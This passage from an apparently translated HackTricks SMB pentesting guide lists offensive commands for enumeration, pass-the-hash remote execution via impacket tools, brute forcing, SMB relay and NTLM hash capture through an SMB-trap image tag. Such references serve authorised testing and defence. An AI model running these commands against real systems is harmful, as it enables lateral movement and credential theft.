Administrator -p 'password' --local-groups # Enumerate local groups crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) 두 μ˜΅μ…˜ λͺ¨λ‘ **μƒˆ μ„œλΉ„μŠ€λ₯Ό 생성**ν•©λ‹ˆλ‹€ (_\pipe\svcctl_을 μ‚¬μš©ν•˜μ—¬ SMBλ₯Ό 톡해) ν”Όν•΄μž λ¨Έμ‹ μ—μ„œ 이λ₯Ό μ‚¬μš©ν•˜μ—¬ **무언가λ₯Ό μ‹€ν–‰**ν•©λ‹ˆλ‹€ (**psexec**λŠ” **μ‹€ν–‰ νŒŒμΌμ„ ADMIN$ κ³΅μœ μ— μ—…λ‘œλ“œ**ν•˜κ³  **smbexec**λŠ” **cmd.exe/powershell.exe**λ₯Ό 가리킀며 인수둜 νŽ˜μ΄λ‘œλ“œλ₯Ό λ„£μŠ΅λ‹ˆλ‹€ --**파일 μ—†λŠ” 기법-**-).\ **μžμ„Έν•œ 정보**λŠ” [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)λ₯Ό μ°Έμ‘°ν•˜μ‹­μ‹œμ˜€.\ **kali**μ—μ„œλŠ” /usr/share/doc/python3-impacket/examples/에 μœ„μΉ˜ν•΄ μžˆμŠ΅λ‹ˆλ‹€. ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] ./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec λ””μŠ€ν¬λ₯Ό κ±΄λ“œλ¦¬κ±°λ‚˜ μƒˆλ‘œμš΄ μ„œλΉ„μŠ€λ₯Ό μ‹€ν–‰ν•˜μ§€ μ•Šκ³  **포트 135**λ₯Ό 톡해 DCOM을 μ‚¬μš©ν•˜μ—¬ λͺ…λ Ή 셸을 μ€λ°€ν•˜κ²Œ μ‹€ν–‰ν•©λ‹ˆλ‹€.\ **kali**μ—μ„œλŠ” /usr/share/doc/python3-impacket/examples/에 μœ„μΉ˜ν•΄ μžˆμŠ΅λ‹ˆλ‹€. ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` **λ§€κ°œλ³€μˆ˜**`-k`λ₯Ό μ‚¬μš©ν•˜λ©΄ **NTLM** λŒ€μ‹  **kerberos**에 λŒ€ν•΄ 인증할 수 μžˆμŠ΅λ‹ˆλ‹€. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] ./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) SMBλ₯Ό 톡해 μž‘μ—… μŠ€μΌ€μ€„λŸ¬λ₯Ό 톡해 λͺ…령을 μ‹€ν–‰ν•©λ‹ˆλ‹€ (_\pipe\atsvc_ μ‚¬μš©).\ **kali**μ—μ„œλŠ” /usr/share/doc/python3-impacket/examples/에 μœ„μΉ˜ν•΄ μžˆμŠ΅λ‹ˆλ‹€. ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` ## Impacket reference [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **μ‚¬μš©μž 자격 증λͺ… 무차별 λŒ€μž…** **이것은 ꢌμž₯λ˜μ§€ μ•ŠμœΌλ©°, μ΅œλŒ€ ν—ˆμš© μ‹œλ„λ₯Ό μ΄ˆκ³Όν•˜λ©΄ 계정이 차단될 수 μžˆμŠ΅λ‹ˆλ‹€** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB 릴레이 곡격 이 곡격은 Responder νˆ΄ν‚·μ„ μ‚¬μš©ν•˜μ—¬ **λ‚΄λΆ€ λ„€νŠΈμ›Œν¬μ—μ„œ SMB 인증 μ„Έμ…˜μ„ 캑처**ν•˜κ³ , 이λ₯Ό **λŒ€μƒ λ¨Έμ‹ **으둜 **쀑계**ν•©λ‹ˆλ‹€. 인증 **μ„Έμ…˜μ΄ μ„±κ³΅ν•˜λ©΄**, μžλ™μœΌλ‘œ **μ‹œμŠ€ν…œ** **μ…Έ**둜 μ§„μž…ν•˜κ²Œ λ©λ‹ˆλ‹€.\ [**이 곡격에 λŒ€ν•œ 더 λ§Žμ€ μ •λ³΄λŠ” μ—¬κΈ°μ—μ„œ ν™•μΈν•˜μ„Έμš”.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap Windows 라이브러리 URLMon.dll은 νŽ˜μ΄μ§€κ°€ SMBλ₯Ό 톡해 일뢀 μ½˜ν…μΈ μ— μ ‘κ·Όν•˜λ €κ³  ν•  λ•Œ μžλ™μœΌλ‘œ ν˜ΈμŠ€νŠΈμ— 인증을 μ‹œλ„ν•©λ‹ˆλ‹€. 예: `img src="\\10.10.10.10\path\image.jpg"` μ΄λŠ” λ‹€μŒ ν•¨μˆ˜μ—μ„œ λ°œμƒν•©λ‹ˆλ‹€: * URLDownloadToFile * URLDownloadToCache * URLOpenStream * URLOpenBlockingStream 일뢀 λΈŒλΌμš°μ €μ™€ 도ꡬ(예: Skype)μ—μ„œ μ‚¬μš©λ©λ‹ˆλ‹€. ![좜처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (358).png>) ### MitMfλ₯Ό μ΄μš©ν•œ SMBTrap ![좜처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (892).png>) ## NTLM νƒˆμ·¨ SMB νŠΈλž˜ν•‘κ³Ό μœ μ‚¬ν•˜κ²Œ, μ•…μ„± νŒŒμΌμ„ λŒ€μƒ μ‹œμŠ€ν…œμ— μ‹¬μœΌλ©΄(SMBλ₯Ό 톡해, 예λ₯Ό λ“€μ–΄) SMB 인증 μ‹œλ„κ°€ λ°œμƒν•  수 있으며, 이λ₯Ό 톡해 NetNTLMv2 ν•΄μ‹œλ₯Ό Responder와 같은 λ„κ΅¬λ‘œ κ°€λ‘œμ±Œ 수 μžˆμŠ΅λ‹ˆλ‹€. ν•΄μ‹œλŠ” μ˜€ν”„λΌμΈμ—μ„œ ν¬λž™λ˜κ±°λ‚˜ [SMB 릴레이 곡격](./#smb-relay-attack)에 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. [μ°Έμ‘°: ntlm\_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft) ## HackTricks μžλ™ λͺ…λ Ή ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as β€˜NBT over IP’, Port 445 is β€˜SMB over IP’. SMB stands for β€˜Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smb Entry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP} Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ``` {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}